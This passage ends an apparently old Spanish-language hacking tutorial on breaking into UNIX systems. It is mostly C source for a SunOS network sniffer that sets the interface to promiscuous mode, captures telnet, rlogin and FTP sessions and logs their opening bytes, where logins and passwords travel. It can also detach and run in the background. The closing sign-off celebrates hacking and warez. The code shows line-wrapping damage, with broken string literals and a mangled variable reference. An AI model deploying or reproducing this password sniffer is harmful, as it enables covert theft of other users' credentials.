fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT;
\
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char
*)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip *ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short *)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}
if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP
*/
return;
}
/* ugh, gotta do an alignment :-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(!( (TCPD == IPPORT_TELNET) ||
(TCPD == IPPORT_LOGINSERVER) ||
(TCPD == IPPORT_FTP)
)) return;
{ register struct CREC *CLm;
register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF
* 4));
register u_char *p = (u_char *)Packet;
p += ((IPHLEN * 4) + (TCPOFF * 4));
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length)
< MAXBUFLEN ) {
ADDDATA_NODE(
CLm, p,length);
} else {
END_NODE( CLm,
p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm,
(u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}
} else {
if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
}
IDLE_NODE();
}
}
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0,
"SIGNAL");
fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}
/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched from etherfind */
{
struct strioctl si;
struct ifreq ifr;
struct timeval timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;
if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");
if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");
si.ic_timout = INFTIM;
if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH
\"nbuf\")");
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR:
NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR:
NIOCSCHUNK)");
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)𝔦
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR:
NIOCBIND)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR:
NIOCSFLAGS)");
if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}
while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);
while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;
hdrp
= (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your proogie,generate your own password and uncomment
here */
/* #define AUTHPASSWD "EloiZgZejWyms" */
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;
ProgName=argv[0];
/* getauth(); */
LOG=NULL;
device=NULL;
while((ac<argc) && (argv[ac][0] == '-'))
{
register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM,
0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF,
(char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg && debug) {
fprintf(ERR,"[Cannot
bg with debug on]\n");
backg=0;
}
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid
%d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
if( (s=open("/dev/tty",O_RDWR))>0
) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);
do_it();
}
<----------------------------------FINAL------------------------------------>
Bueno, ya hemos terminado espero que os haya servido de ayuda este texto,
y
hayais comprendido como hackear un UNIX
De todas maneras si hay algo que no entendais, o alguna pregunta ya
sabeis:
ravenspirit@hotmail.com
###Por cierto las cartas tipo " ¨ que necesito para ser un hacker
? " iran
al trash directamente.###
!!!!Happy Hack ;-)
WAREZ RULEZ
KILL THE BIG BROTHER
FREE OUR DATA
{[-RavEn³SpiRiT-]}
NoTa especial para iDlEr: Si lees estas lineas mandame un mail, por
que he
perdido tu direccion. Agradecimientos especiales para ti.